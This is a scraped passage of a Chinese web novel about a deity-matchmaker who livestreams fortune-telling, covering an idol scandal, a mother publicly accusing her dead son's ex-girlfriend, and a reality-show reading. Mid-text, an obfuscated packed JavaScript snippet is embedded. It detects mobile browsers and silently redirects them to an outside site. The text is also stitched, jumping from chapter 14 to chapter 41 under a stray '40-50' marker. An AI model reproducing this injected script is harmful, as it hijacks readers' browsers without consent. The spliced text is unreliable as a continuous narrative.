莺芝并不知道到底是因为什么,又有什么考量掺杂在其中,她看着这张避重就轻的“道歉自白书”,只觉得有一点点滑稽。 而这条动态下方的评论区,毫无疑问,汇聚了无数哭天喊地以及冷嘲热讽。 其中,对他骂的最狠的,竟然都是一些ID中与他有关、且多是爱称和示爱的用户。 他虽然在声明中一字未提崔梦语,评论区却处处都是崔梦语。 以“隐婚”为遮羞布的内里,是“睡粉”“出轨”等要肮脏失格无数倍的真实——这是所有人都心照不宣的事实。 任柏承不提,不代表他人不知道。 评论区中,他翻来覆去地被骂,从父母到妻子,从他的外貌到人品,甚至连未出世的孩子都被拉了出来,“有其父必有其子”“你这种人生孩子也没屁x”等话层出不穷。 莺芝粗略浏览一遍,发出一声叹息。 人心复杂,人性更复杂。 任柏承出轨时到底在想什么,发出这张道歉书时在想什么,现在看着这些评论时又会想些什么,她不得而知。 他的妻子对他的所作所为会是什么心情,她更不得而知。 就连崔梦语看到这些内容时,会有什么想法,她也无从知晓。 但—— 不管怎么样,为自己做出的事承担责任,是每个人所必须的。 正如崔梦语选择道歉,选择投身公益,选择付出金钱和时间,也如任柏承退出团队,离开他一直无比在意的舞台和聚光灯,离开加身的关注和光芒。 而到了现在,也希望他们日后不要为自己做出的决定感到后悔。 压下心中生出的点点唏嘘,莺芝退出任柏承相关的词条,继续浏览起其他的内容。 一个词条接一个词条看过去,她对现世凡间的事有了许多新的认知。 又一次看过一个“老人不合规三轮车被没收崩溃大哭”的内容后,莺芝照例点击返回,榜单上的词条们已经自动刷新。 位于榜首的,挂着hot的,无疑还是“任柏承退团”。 但,在莺芝刚刚看过的那条标签位置,却出现了另一个陌生的句子。 #19岁男生意外死亡父母晒出聊天记录声讨前女友# 这…… 莺芝眼眸微微一凝。 不是她要多想,但,19岁男生,前女友——这两个元素叠加在一起,她很难不想到昨天才见过的那位…… 没有犹豫,她点开词条。 【峄城19岁男生潘某意外车祸死亡,父母悲痛欲绝,声称儿子是被其前女友所骗,出车祸前最后一通电话也是给此女所拨,怀疑这通电话说了什么影响了儿子精神,所以才会遭此意外,要求对方为此负责。小编介入后发现,该男生曾几年间前前后后为此女转账数十万,聊天记录中可见卑微地位,对此,你怎么看?】 【[视频][图片][图片][图片][图片][图片]】 视频和图片中,是一些聊天记录的截图,以及滚动展示的转账记录。 还有父母哭天抢地的谩骂声。 莺芝神色渐渐沉了下去。 14. 第 14 章 ——这里的“网络”是真的太厉害了。 半天时间过去,莺芝又一次发出了无声的感慨。 “十九岁男生意外死亡”的事件,一开始出现在榜单上时,只是挂了个后排的位置,但不知道是事件中哪些元素恰好符合了当下人们的关注侧重,很快,这件事就发酵得难以控制了。 到了下午,莺芝准备离开赖了大半天的庙宇时,该事件的热度已经甚嚣尘上,甚至一度能和榜单前排的“任柏承退团”事件比肩。 而待得今天的直播开启,这件事的关注度几乎要压过了任柏承的隐婚退团事件,隐隐有把它压在下边的趋势。 ——莺芝也有一直在关注这件事的风向,眼看时间到了,才退出软件,照常开启了直播。 直播一经开启,大批大批的观众就一窝蜂涌了进来。 对于这个出现远不到一周的小小直播间,他们已经等候多时。 其中,有进来后就嚷嚷着“任柏承事件”让莺芝为此赔罪负责的,也有被“学生暗恋导员还暗搓搓想要破坏对方婚姻”事件吸引而来、想要看看到底是个什么情况的,但,这些纷纷杂杂的讨论,都压不住一个声音—— 一部分以不知道谁为代表的人群、蹲守着直播间的开播,涌入后,毫不压抑声音地接连呼吁起让主播“主持正义”,“曝光骗子女”。 不到两分钟时间,弹幕已经完全被这部分人群所占领。 其中,依稀夹杂着几个彼此互相眼熟的ID。 【履行摸鱼职责:……我还以为进错直播间了,好恐怖的景象,这到底是几家人混在这里啊】 【骂谁二次元呢:他们说的这几件事,什么任柏承隐婚出轨,什么暗恋老师的学生,我好像都真实见证了……这么一想,我也是行走在吃瓜最前线了】 【骂谁二次元呢:但是那个女骗子是什么情况?今天热搜看到19岁小孩我还恍惚了一下,总觉得有点熟悉又不知道在哪里听过,难道也是这里见过的?我怎么没印象?】 【pinwomingzidebendan:原本不关注任柏承,不过作为在这里见证过全程的人,我白天还特地看了看他的声明,只能说好不要脸。】 【一只浪迹瓜田的猹:路上堵车来晚了两分钟,家人们,这什么情况?联合游行抗议?谁犯事儿了?】 【给予她温油ma:为什么死了人要来找主播帮忙“主持正义”?这些人干嘛来的?潘某是谁?女骗子是怎么回事?】 【晚间生物:虽然不知道潘某是谁,但“十九岁”这个,确实在小莺这里听说过一个,该不会是……】 【我真没有QAQ:那个送外卖的?主播没说过他的名字吧,难道他姓潘。】 【履行摸鱼职责:我x,你们一说这个我就想起来了,是那个看起来很可怜的外卖小哥吧?当时还想听听他的故事来着,但他直接下麦了。】 【履行摸鱼职责:不是吧,那小伙子人没了?】 【骂谁二次元呢:热搜挂了一天了,现在超多人关注,看这些人的架势,感觉好像大概也许可能……嗯,不好说。】 …… 满屏飞快刷过的弹幕,有的是客客气气寻求主播帮忙曝光,有的则是直接以“你有没有良心啊有良心的人能忍这事吗”为理由,强行要求莺芝正视他们的诉求。 红线小人扒着手机屏幕边缘,一一看过那些内容,整条线都抖动了起来——它气的发抖。 这些人怎么能这样,这不是威胁吗? 就算是潘永福那边的亲人发现了什么潘永福层在这里问过相关事件的痕迹,也没有资格这样来要求月仙大人吧? 月仙大人只是在这里开直播“算卦”,恰巧被潘永福留意到、抢到名额,所以两人发生了一些对话而已,凭什么就要“为他的去世负一定责任”、所以“必须”“在曝光恶女的事情上出力”? 莺芝指尖点了点它的脑袋,和缓了它的怒火。 她看向镜头,表情如常:“大家好,欢迎来到月老定缘直播间,我是小莺。今天的‘咨询’名额依旧是三个,名额条件与昨日一样,接下来——” 见她不回应,那些情绪激烈的临时观众们似乎也有些生气,部分人已经开始指责她的“冷血”。 莺芝全似没看到一样,噙着淡淡的微笑,准备宣布今天的第一次名额开放。 这时,手机屏幕上突兀噼里啪啦闪起了烟花的特效。 【[文思泉涌泉相报]送出盛世焰火x5】 【[文思泉涌泉相报]送出盛世焰火x5】 【[文思泉涌泉相报]送出…… 炫目耀眼的多彩烟花,一瞬间就占满了整个屏幕。 堪称光污染的灿烂焰火特效过后,弹幕区的消息都少了许多。 【骂谁二次元呢:妈妈呀,我见到大哥了。】 【骂谁二次元呢:还好我手机当初斥了巨资,不然也肯定要被这十几个焰火砸得卡出直播间……】 【晚间生物:……我的……粉丝榜的位置……】 …… 莺芝也有些诧异。 她已经不是完全的小白了,知道这些礼物意味着什么,而焰火作为直播平台最贵的一个礼物,不仅会让直播间被全平台播报,还会给主播带来许多的热度。 这个完全没印象的ID一次送这么多……搞不好是有别的用意。 莺芝斟酌了片刻,直视镜头开了口: “……礼物不能左右‘算卦’名额的甄选,若你想要报名,还是需要亲自来连线。” 人话:砸钱也没有后门走。 【文思泉涌泉相报:…………嗯。】 ID加亮加粗,炫彩夺目,所有人不用费力就能看到它。 但说完这句,他就没了下文。 ——看来是在等连线开启,准备抢名额了。 莺芝略略点头,再次和观众们交代了一句,而后开放了权限。 一秒后,“正在连线中”的字样跳出。 分为两半的画面右侧,一个有些乱的屋子作为背景出现,一个模糊的身影一闪而过,画面陡然转变。 “大姨,我抢到了!——快来快来,手机对准你了,你来说!” 随着这句分贝不小的话,直播画面也逐渐变得清晰起来。 所有在网络另一端的网友们都看到了这片环境。 狭窄的房间中,摆着一张窄窄的单人床,被褥凌乱,混作一团揉在床尾,其上还随意地扔着一些大件小件的衣服裤子。 估计是为了遮挡斑驳掉落的白灰,靠床的墙面上贴着花花绿绿的广告纸,而床头支起的小桌子上,则堆放着许多还套着塑料袋的外卖盒,应该是吃完的外卖都没有顾得上扔。 地面上摊开的行李箱周围,几双看不出原色的鞋子歪七扭八地摆着——除此之外,房间里再没有什么其他的东西了。 床边,一位看起来有六七十岁年纪的女性肩背佝偻,愁苦地坐着,看样子,似乎正在收拾床上堆放的衣物。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15189094|165519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到先前的男声,这位被称为大姨的女性抬起头来,她的面容展露在镜头前,眼下青黑,眼眶肿起。 “我们可以说话了吗……”她喃喃开口,征求似地望向一个方向。 “可以啊大姨,有啥冤屈赶紧说啊,这儿现在好几万人看着呢!!” “几万人……”女人怔了怔,旋即在兜里摸索了起来。 很快,她摸出了一根白色的布条,搭到了头顶,声音陡然变得凄厉,双眼直勾勾望向镜头。 “——我儿潘永福,今年十九岁,昨晚没了。” 莺芝一怔:“这位……” 女人状似没听到她的声音,径直哭喊着:“——我们永福十六岁跟那女的搞朋友,他在安城干得好好的,去年被那女的勾着,非要来跟她到峄城来,我们老两口不让,但他铁了心了,就是要来——现在钱也没了,命也丢了,我们该去找谁啊!” 她嘴唇哆嗦:“要不是记挂着永福的公道,我们老两口也想一头撞死算了!大家伙啊,我来替我儿曝光那女的——那丧尽天良该死全家的叫董银灵!董事长的董,银子的银,哭灵的灵!!她该来给我儿哭灵!” “她之前安城大学读书,现在在峄城什么政府机关工作——警察都不敢管她的事!我们来领永福回家,他们敷衍我们老两口,说永福是意外被撞死的……好好的在路上走着,咋会被撞呢?这是要堵死我们老两口伸冤的路啊!” 潘母从自己兜里摸出个样式古早的手机,哆哆嗦嗦操作了几下,把屏幕亮了出来,上面是一个穿着学士服,怀抱书本,笑容灿烂明艳的年轻女生。 “这就是那女的,这就是她!!” “我听侄儿说,我们家永福昨天晚上在这儿算过一卦,那肯定有人还记得他——我们永福苦啊……这辈子已经够苦了,还沾上这么个丧门星,命都交代了!” “大家都是明事理的,要记住这个女人,替永福讨还一个公道啊!” 【……我滴妈,原来昨天晚上那个外卖小哥,就是热搜上那个被女人骗干净的小潘?】 【我,我有点想哭了,对不起啊小哥,我昨天不是故意嫌弃你邋遢的……】 【热搜我也看了,那些转账记录,真就一屏又一屏啊……】 随着潘母声泪俱下的控诉,观众们的讨论愈发激烈。 大家似乎都忘记了,这个直播间原本是做什么的。 【不对啊,女方家里要是机关的,那没理由要这一点钱啊?】 【有钱不代表不想多要点吧?而且你看那女的,长成那样,还跟小潘在一起,说不是看上他的钱了谁信啊】 【女的也挺漂亮的,怎么心这么黑】 【二十多岁的大学生,跟十六岁的未成年小伙谈恋爱……骗感情还骗钱……】 【十几岁辍学出来打工,以为碰到真爱,死心塌地付出一切,结果钱被骗光,人家玩够了,惨遭分手,死后又因为官官相护,难以求一个公道……怎一个惨字了得】 【董银灵?我好像有点印象哎。我是安城大学的,我们导师有个经常挂在嘴边的得意门生学姐,好像就是叫这个名字】 【天啊,董银灵当时就在我们班啊,还是团支书兼系花,很多追求她的男同学,她竟然是这种人?】 【得意门生,哈哈,就这种女的,读再多书,学习再好,也是个龌龊的货色】 …… 被十几个焰火卡出去的观众们回归,相继加入了一波又一波的声讨中。 40-50 第41章 你觉得呢? 董小棠把话题抛过来,主要是因为其余人都已经说过了,只剩一个没有,难免会显得冷落孤立。 而之所以她要这样直白地询问“看法”,和别人那样“随便说点什么就行”的态度不大一样,则多多少少有点想让她真的抛出点什么“干货”来的意思。 比如给这对夫妻算一卦什么的。 无论说他们是孽缘迟早离婚,又或者说是天定正缘欢喜冤家,都是很好的话题。 当然,这也不在验证莺芝是不是故弄玄虚抑或真有能力、更不是说节目组就真的全心全意相信她是所谓的百卦百灵的玄学大佬—— 反正观众信就行了。 不管她是不是真本事,只要能制造话题,节目组就没白请她来。 一天三卦呢,说好了都留到节目里用的,主持人刚好在恰当的时候引导一下。 莺芝表情不变,思考了片刻,微微笑道: “几位说的都很有道理。婚姻与家庭,本就是各人有各人的差异,家家有家家的特色,两个不同性格的人揉在一起相处,会如何发展,大都不尽相同。” “至于他们是否幸福,旁人也无从得知。” 很学术的回答。 但…… 董小棠脸上的笑容僵了一瞬。 这跟算卦一点也搭不上边啊!! 婚姻就如人饮水,冷暖自知的道理谁不懂啊。 问题是,能不能来点有爆点的内容? 节目组请你来,是让你开情感专题的吗? “……哈哈,是这个道理呢。” 董小棠控制住表情,带领所有的观察室嘉宾们一起,继续往下看。 夫妻嘉宾们的行程安排很紧。 从录制开始时算起,近乎排了一整天。 先是野炊,以夫妻为单位分组,自行准备吃食、打扫场地等,完事儿大家再聚在一起吃吃喝喝,闲聊胡侃——这些环节都结束后,当然还得他们自己动手收拾整理残局。 说来简简单单,只有一句话就能概括的内容,但几乎没人不知道,这一句话里所涵盖的内容——这可是满满的矛盾点。 包括但不限于家务、统筹、认同感、配合与默契、情绪反馈、社交把握、自我认知与责任……等等一系列可能引发争吵的隐雷。 野炊结束,又是夫妻们一起去散步、拍照,再之后又是逛街环节,为晚餐做准备。 当然,夫妻嘉宾们也没让节目组失望,这一整天的录制里,确实爆发了重重的矛盾,整个环节里话题点频出。 观察室的嘉宾们也都没少掺和到里头,或清醒地指出矛盾点给出解决方案,又或真情实感地共情其中一方、对另一方痛斥等等。 期间,董小棠前前后后多次cue到莺芝,尝试了各种话术,试图从她这里得到一些能称得上是“爆点”的内容。 很可惜,莺芝就跟完全听不懂,也意识不到似地,一次也没接招。 听着耳麦里导演一次又一次地提醒,董小棠心里那个苦啊。 她都要怀疑这小红娘是不是真是个纯骗子了—— 那些比较大的事件,没准就是她提前联络了一堆的托,来帮忙炒作,至于任柏承什么的,也许是那个粉丝本身就想爆料搞任柏承一手,所以找到了她,俩人一合计就成了。 至于平时那些,随便扯两句编编就行了,反正也没人会拆穿—— 在直播间里满口跑火车跑惯了,没人管,但现在到了电视节目上,人更多,又都是明星,她就胆子小,不敢胡编乱造了。 ……你倒是编啊!! 随便编点什么呢? 总不能这一期节目就这么平平淡淡过去了吧? 你说的话还没林必珩多啊!! 董小棠简直恨铁不成钢,但脸上还得保持微笑。 “……今天的观察室环节就到这里了,不知道大家有什么感想呢?” “人和人相处,看来还真的是门大学问呢,连夫妻也不例外,越是亲密,越是需要时刻注意。我们这些年轻人,要学的还有很多——” 董小棠唏嘘着,却又突然想到什么似的,话锋一转: “咦,说起来,小莺一次也没有算过卦呢,这几组嘉宾们,和月老的缘分都还没有到吗?” 这下,所有人的视线又都齐刷刷转向了莺芝。 这么直白地问了,你还能躲? 董小棠擦着心里被导演易姐催出来的汗,暗暗地想。 施尚看热闹不嫌事儿大:“哦?那这个月老标准还挺高啊,看来没个金钱交易,就不配做有缘人啊?哎——还是说,只能在你直播间里算?现在在这里,一些必要手段无法使用,就没办法了吗。” “不能这么说……”第一个反驳施尚的,竟然是华晓识。 不过被施尚轻飘飘的一瞥,她鼓起的勇气又都蓦地散了。 连络月无奈。 见莺芝好像被嘲讽的不是自己一样,她只能撑出场面,对施尚道:“缘分这种东西很难说的,本来就是有钱也买不到小莺的卦,她只算有缘人的——大家也不用急啊,反正一天有三次机会呢,我们晚些时候还有活动,接下来都会跟她在一起,没准有缘人在我们中间也说不定呢。” 林必珩哈哈大笑:“真的吗?那我可要替小莺高兴了,咱们这里已婚的只有张老师吧?这可是模范夫妻,还用得着算?她今天这活,可真是轻松啊。” “哎哟,谁说不是呢。”施尚也附和,“月老到了张老师这里都得下岗待业!” 莺芝微不可察地皱了一下眉。 ……咒她? 张逢期呵呵一笑,慢吞吞开口。 “我和你们莫老师,敬神,却不拜神。非要说的话,归根究底还是不信神。” “都看了这么多期的节目了,婚姻是自己的,这个道理还不清楚吗?求什么卦拜什么仙……都是虚 的。” “还说什么老一辈愚昧,呵呵…现在的年轻人呐……” 作为一直在维护莺芝的人,连络月表情不自然地僵了一瞬。 可不么,这跟指着她鼻子骂她愚昧有什么区别? 但问题就在于,这话要是林必珩说的,或者施尚说的,她都可以立刻拉下脸来,反唇相讥—— 现在,说这话的是德高望重的老前辈。 即便心里头觉得爹味儿满满,她也不能说什么。 只能默默咽下这口气,再挤出个笑。 林必珩乐呵呵的,眉毛一挑,看向莺芝:“我觉得挺对的,你觉得呢?” 然后他就看到,存在感只存在于别人话里的人此时微微偏过头来,看向了他。 “等会儿直播开始后……” 笑容温和。 “我为你算一卦。” 第42章 【(/蜡烛)】…… 毫不夸张地说,莺芝的话音刚刚落下,有那么一瞬间,林必珩整个人都愣的。 其他人也都有点呆,没反应过来怎么个事儿。 随后,不等林必珩说话,董小棠就听到耳麦里易姐急切的声音:“应下来,把这件事敲定!” 董小棠如梦方醒。 她忙赶在所有人回过神来之前开口道:“这个好,既然小莺话都说到这里了,必珩看来就是今天的第一位幸运儿了,稍后的直播中,我们可得好好听听必珩这一卦的结果,没准还有未来正缘的消息呢。” 林必珩一个激灵:“不……” 连络月哼笑出声:“没有一点金钱交易,还能得了小莺的这一卦,看来林必珩运气是真的很好。刚好,他不是张老师,月老也不用待业,得好好加加班——哎,我都有点期待了,怎么还没到时间呢,等会儿一起吃饭吧?好让我们一起期待晚上的直播。” 董小棠笑道:“直播时间就在那里,是不会变的。不过已经可以预见到,今晚会很热闹。” “那么,我们今天的节目就到这里——相信大家与此时的我们见面时,已经看过直播了,不知道这期节目与大家见面时,大家再看本期节目会有什么样的想法——有点羡慕了呢,哈哈。” “那么,观众朋友们,我们下期见!” “卡——” “录制结束,大家辛苦!” 易姐起身,从工作人员的区域迈出,走到台前来。 “录制非常顺利,大家都辛苦了。待会儿我们一起吃饭,组里给大家特别定制了餐饭,聚聚餐,可以边吃边直播,跟观众们互动一下——” 她看向满面淡然的莺芝,又看向脸色微臭的林必珩,笑道: “在那之前,如果有需要和其他方联系的,虽然现在还在我们的工作时段内,但组里破一次例,给大家这个时间。有事和经纪人交接的话可以抓紧时间了。” 签订合作时,合同里写了,通告单规定期间内禁止接触别的工作、预防类似“轧戏”的情况出现。 所以此时,即便林必珩提出要和经纪人的会面要求,易姐也完全可以驳回。 但她没有,非但没有——反而还很通融地主动让他和经纪人联系。 意思当然也很明显。 这是给他一个做好紧急预案的准备。 毕竟莺芝这个人,说好听点,神乎其神的,不好听点,那就是透着股子捉摸不定的神棍玄味儿。 万一真的在节目里说出点什么,又恰好说中,那对于林必珩团队而言,可谓是飞来横祸了。 《家远方》是出来做节目的,不是来结仇的。 能给个机会就给个机会,混这个圈子的,谁都知道这里的腌臜事确实不少。 虽然对外一个个都是表现得清新脱俗如出水莲花,实际上怎么样谁知道呢,对吧? ——在场的几人没谁听不出易姐的言外之意。 施尚那儿甚至都压不住眼底的幸灾乐祸了。 林必珩自然也听懂了。 正是因为听懂了,所以才更不高兴。 他神色不虞:“不用了,工作就是工作,一切按照合同来——还有,我身材管理中,晚上不吃饭。” “不吃饭也可以吃点水果嘛,晚上还有直播呢,腹中空空录节目,万一闹出什么问题,节目组也不想的呀。”易姐笑眯眯地道,又继续,“特殊情况特殊对待嘛,如果需要联系,不要客气——现在不去的话,待会儿直播开始,是禁止离席的。” 话里话外,都是让他有话快去找经纪人说。 林必珩有些郁郁,想发火,但易姐态度温和,他也只能沉默下去。 “用不着!” 他狠狠剜了莺芝一眼。 莺芝:? 易姐又转向其他人,尤其是笑意都上脸了的施尚。 “大家要是有需要,都可以去交接一下。待会儿是不允许中途退场的。” “哎呀,能有什么事儿啊?”施尚摆摆手,一点也不介意这种几乎是明着在点他的话,“还怕被这小红娘揭老底儿不成?放心,我们干净着呢,没老底儿揭。” 连络月也笑眯眯地:“没事没事,身正不怕影子斜——对吧林必珩?你看我们跟张老师,就都不忙这些。” 林必珩简直要烦透了这些人有事没事cue他,弄得真跟他做错了什么一样。 他压着怒气:“……对。” 张逢期也是八风不动,对自己成为小辈们口中扯大旗的那面旗习以为常。 正当大家以为这段交谈到此为止,准备一起转移去直播的场地时,华晓识却突然举了举手。 “那个……我想稍微离开一下,可以吗?” 众人万万没想到她会是这些人里第一个说要暂时离场的,都惊了一惊。 不过华晓识依旧是那副腼腆的样子,有点怯怯的,除此之外看不出什么其他特别的情绪。 “好的。去吧。”易姐很通融,“我让人跟着你去,等会儿她带你回直播室。” 华晓识感激地点点头。 等她离开,剩下的人一起去到了直播的房间。 在席位落座,林必珩仍然不大高兴。 显然仍耿耿于怀莺芝突然拉自己出来当话题。 施尚倒是还在笑,惊奇不已:“怎么了小林?看着这么紧张。不会吧,你被吓到了?难道你也隐婚?” “也”—— 在场的人都知道,这是指代的“任柏承事件”,莺芝声名鹊起的第一件事。 林必珩还没说话,施尚又自己驳回了自己的话:“不对啊,你又不是偶像,结婚也不是什么大事,就算真结了,怕啥?” 他眼珠子一转,瞟向莺芝:“你不会打算编八卦和黑料出来吧?” 莺芝看了他一眼,根本不打算说话。 用凡人的话来说,这位就是纯找事儿。 立志于惹到所有人那种。 董小棠看着这些人争争吵吵的画面,高兴得很。 来了来了,已经可以预见到爆点了。 直播快点开始吧,抛开身为主持人对节目热度的期待,她本人的看热闹之魂也已经在熊熊燃烧了! …… 中场休整的时间并不长,总共也就二十来分钟。 不到五分钟过去,华晓识就已经回到了场地。 从她的表情中,看不出发生了什么。 不过莺芝注意到,她回来后,多次有意无意悄悄偷看自己。 ——这是什么个意思? 正式开播前十分钟,在易姐的要求下,众人各就各位,直播镜头开启。 【哇哇哇哇来了来了,家远方竟然也赶潮流开直播了!!】 【追着我的电子榨菜一路至此,希望没有错过哈哈。】 【听说小莺今天的直播转到这里来了,哧溜——】 …… 【小林小林,呜呜,怎么看着呆呆的,好萌好可爱,妈妈爱你~】 【小林在想什么呢,一直盯着面前的菜,饿了吗?】 【月月宝宝今天的妆造也好漂亮,有点期待这期节目更新了~!】 【施老师这个搞笑男,怎么一直在跟周围的人说话啊,他不消停的吗】 【张老师好严肃啊,这就是老前辈吗?跟直 播的氛围格格不入哇。】 …… 【今天的三卦结束了吗?这个直播间能不能抢次数啊?】 【我就想知道今天的三次还有没有,不会都在录制里用过了吧。】 【小莺驾到,颤抖吧内鱼!!】 …… 直播刚一开启,就有大片大片的观众齐刷刷涌进来。 只十几秒过去,为了观看直播弹幕而单独接出的大屏幕就已经产生了卡顿,画面中开始出现混作一团的彩色色块。 易姐旁边的几个创作团队的工作人员脸都要笑变形了。 哎,就算是《家远方》的正片,也没见过这么夸张的热度啊。 果然,想要最快看到“热度”的实质化,还是得采取时效性高的形式。 而且名气比较高的艺人嘉宾,以及原本就是直播这行业的嘉宾,能给节目带来的流量不是一星半点。 这种热度扑脸的感觉,好爽! ——大屏幕的摆放是正对着嘉宾们的,所有在座的嘉宾们都能看到上边滚动的弹幕。 身为主持人的董小棠率先笑道:“大家好呀,我们在直播间见面了——是的,以这样的方式见面,我也觉得很新奇……现在还不到正式开播的时间,再过几分钟才到。希望大家会喜欢我们今晚的直播,和我们一起享受这个美好的夜晚~” “哎哎哎,说什么搞笑男呢,谁是搞笑男了?” 施尚自然地接话,开始和观众们侃大山:“你家哥哥那是饿了吗,他那是愁啊哈哈哈——嗯?你们怎么不问我愁什么,快问!” “当然是愁……” 连络月心里那个感叹——这厮是真的不怕林必珩报复他啊,一个劲儿地犯贱。 施尚嘿嘿笑着,被林必珩翻了个白眼儿,然后更乐了。 观众们也很配合他,尤其是林必珩的粉丝们,巴不得多知道一点他们哥哥的事儿呢,于是一个个都顺着施尚的话往下说,问他愁什么。 “我们小红娘可是说了,等会儿开播第一卦,先给你们哥哥算——你说说,你们这么多女友在呢,结果她现在要挑一个出来,说说你们哥哥会跟谁结婚,其余的女友们怎么办呢?那心理必然不平衡啊——他可不得愁死了吗?” 弹幕上大片询问“为什么给他算卦”“谁算”之类的问号飘过去后,又有林必珩的粉丝不在意地安慰他: 【没关系的,小林是演员,又不是偶像,以后肯定是会结婚的,知道未来的真爱在哪里,也能让他少走一些弯路,我们高兴还来不及呢。】 【小林不要怕,虽然你暂时没有恋爱的打算,但就算是五年十年真的要结婚,粉丝也都会祝福你的!】 【就是就是,看不起谁呢,粉丝都是真心希望他越来越好的,怎么可能会嫉妒?施尚你说话注意点,少来恶心人。】 …… 施尚见状,眉梢一挑,颇为诧异。 莺芝也诧异,不过她是诧异地看了一眼施尚。 林必珩没注意到他们的细节,看到弹幕上的粉丝们,他情绪回转了一些,安抚道: “就算算出来正缘在哪里,我也不会去找的。我说过,现在我只要有你们就够了。” 不出意料,收获大片“啊啊啊”。 也有非林必珩粉丝的观众在凑热闹,尤其是冲着莺芝来的那些。 【小莺真的要先给他算吗?】 莺芝:“是。” 【(/蜡烛)】 【(/蜡烛)】 【(/蜡烛)】 …… 【你们什么意思?!】 …… 【没什么意思,就是百分之八十的可能……哈哈!】 第43章 你的果 与此同时,另一边。 林必珩的助理小冯看着直播间里的内容,整个人都有点不好了。 直播他知道,但是什么时候说要直播给林哥算卦了? 这么大的事,林哥为什么不提前说一声呢?! 小冯捧着手机犹犹豫豫了一会儿,哆哆嗦嗦地拿出另一台手机,从通讯录里拨出一个号码。 电话响过好几声,直到快要自动挂断,才被接通。 “喂?” “喂……涛哥,是我,小冯。” 屏幕另一端的人似乎正在什么公共场合,周边声音嘈杂,人声混夹音乐,炸得小冯耳朵生疼。 那边声音拔高了许多:“小冯?你不是正在和必珩跑通告?” “是,我是跟林哥一起在录节目……”小冯小心翼翼道,“是这样的涛哥,就是,他们这个节目现在正在直播……然后林哥他……” “他怎么了?……哎哎就来,接个电话,你们先玩——你大点声!”涛哥有点不耐烦,“有话就说没话滚蛋,老子忙着呢。” 小冯擦擦额头的汗,把心一横:“……林哥要在直播里算卦了。算姻缘。” “哦我知道了,就这样吧,回头再……——啥玩意儿?” 涛哥猛地意识到他说了什么,“算卦?谁让他算的?” “呃,”小冯摇头,“不知道……反正就是要算了。给他算卦的那个,是最近在网上很火的一个主播,就是那个、先前爆出来任柏承……隐婚的那个……” “……”涛哥很明显地嘬了一下牙花子,“这么重要的事儿,你怎么现在才给我打电话?早干嘛去了?” “我也是才知道啊涛哥,录制完我都没见到林哥,就直接去直播了。”小冯欲哭无泪。 “你去,想办法把他叫出来,让他给我打电话——” “可是现在正在直播……” “让你去你就去,正在直播怎么了,艺人不能临时有点事?别废话,赶紧的,办不成事你就回来收拾东西滚蛋!” “……我,我试试。” …… 挂断电话,林亨涛回到包间,挥开了一众叫他一块玩的提议,在沙发角落挑了个清静地儿,自己窝了进去,摸出手机,找到了《家远方》的直播间。 主持人董小棠笑吟吟地说着话:“哎呀,大家好热情啊,消息刷得太快了,我们都看不清楚了。” “看来大家都很期待我们小红娘的发挥,对小林哥哥的感情生活也很关心嘛——那么话不多说,今晚的直播,正式开始啦!” “大家介绍一下自己吧~” 林亨涛没听那些熟面孔们都在絮絮叨叨说什么,他的视线越过屏幕,落在穿着打扮都很中式的那名生面孔女性身上。 ——这应该就是那个“红娘”了。 到底是不是个懂行的,但从外表很难分辨。 但…… 该死的,林必珩这个拎不清的,这种热闹也上赶着凑,巴巴把自己送上去当别人的话题? 林亨涛盯着画面中镇定自若、对直播场面相当游刃有余的莺芝,暗暗咬了咬牙。 这女的要是本本分分,友好一点,那皆大欢喜。 但是她要是敢胡言乱语—— ……他一定会让她付出代价! 小冯呢? 这死东西,叫个人这么慢。 “自我介绍完了,想必大家也都认识我们了吧?哈哈,那请看、观众朋友们眼睛雪亮呀,我们面前的桌上确实摆放着各种美食——是的,我们还没吃饭呢,这是我们的晚餐。” “哎呀,闻着味道我口水都快下来了,真的是太香了……” 董小棠言笑晏晏,“——不过现在还不能吃,接下来我们得先来做个游戏,赢了才可以吃饭,输了就要接受惩罚哦。” 【玩什么游戏,吃什么饭,快算卦!!】 【我来是看你们吃饭的吗?我是要看算卦的!】 【小林的姻缘到底在哪啊啊啊好紧张】 【能不能别啰嗦了直接上正餐吧好吗】 …… 弹幕上 ,观众们已经被吊足了胃口,一个比一个着急。 偏偏直播间里的各位都跟没看见这些催的一样,不紧不慢地进行着他们的活动。 “停——!” “哎呀,小红花落到月月手里了。” “那好吧,月月接下来可以挑选两道自己喜欢吃的菜,然后指明一个人选择真心话或者大冒险了———月月可以指明让对方做一件事或问一个问题,被指到的人一定要做哦~” 连络月放下手里击鼓传花的小花,笑着选了一荤一素两道菜,放到了自己面前,然后好整以暇地扫视一圈。 “我选……” 扫过一圈,最终,她看向镜头,狡黠一笑:“哈哈,好吧,不卖关子了,我把机会给到大家,看大家已经着急得不行了。” “我选小莺吧——让小莺来给我们之中的谁算上一卦。谁都行。” 【骂谁二次元呢:啊啊啊啊啊终于要来了吗!】 【一只浪迹瓜田的猹:写作#谁都行#读作#林必珩#,嘎嘎】 【履行摸鱼职责:我已经搬好了小板凳,小莺后勤队来袭,前排兜售瓜子汽水哈。】 【晚间生物:给我来一把瓜子】 【你到底说不说:来瓶可乐!】 …… “好的,那么本轮的获胜者月月,指定了小莺来为大家算卦,小莺,没问题吧?” 董小棠道:“今天的三卦都还在呢。” “可以。”莺芝道。 她从身侧伪装成小包的乾坤袋里取出姻缘簿和点缘笔,放到桌上摆好。 然后,没有什么弯弯绕绕,没有什么九曲连环,她直接看向了林必珩。 “我来兑现先前的承诺,给你定一定缘。” “我可没跟你做承诺啊。”林必珩脸色臭臭的,但顾念着还在镜头前,粉丝们都还在,为了不崩人设,他说话时一直压着真实的情绪,只表现得像是在开玩笑,“算得准你也不能狮子大开口,算得不准、那你可是要赔偿我的。” 莺芝微笑:“不准不要钱,准也不要钱。” 林亨涛眼前一黑。 都什么时候了,你还在挑衅。 本身可能没什么的,你给她惹急了,等下直接给你编造一些绯闻出来,你不带怕的啊? 知道什么叫造谣一张嘴辟谣跑断腿吗! 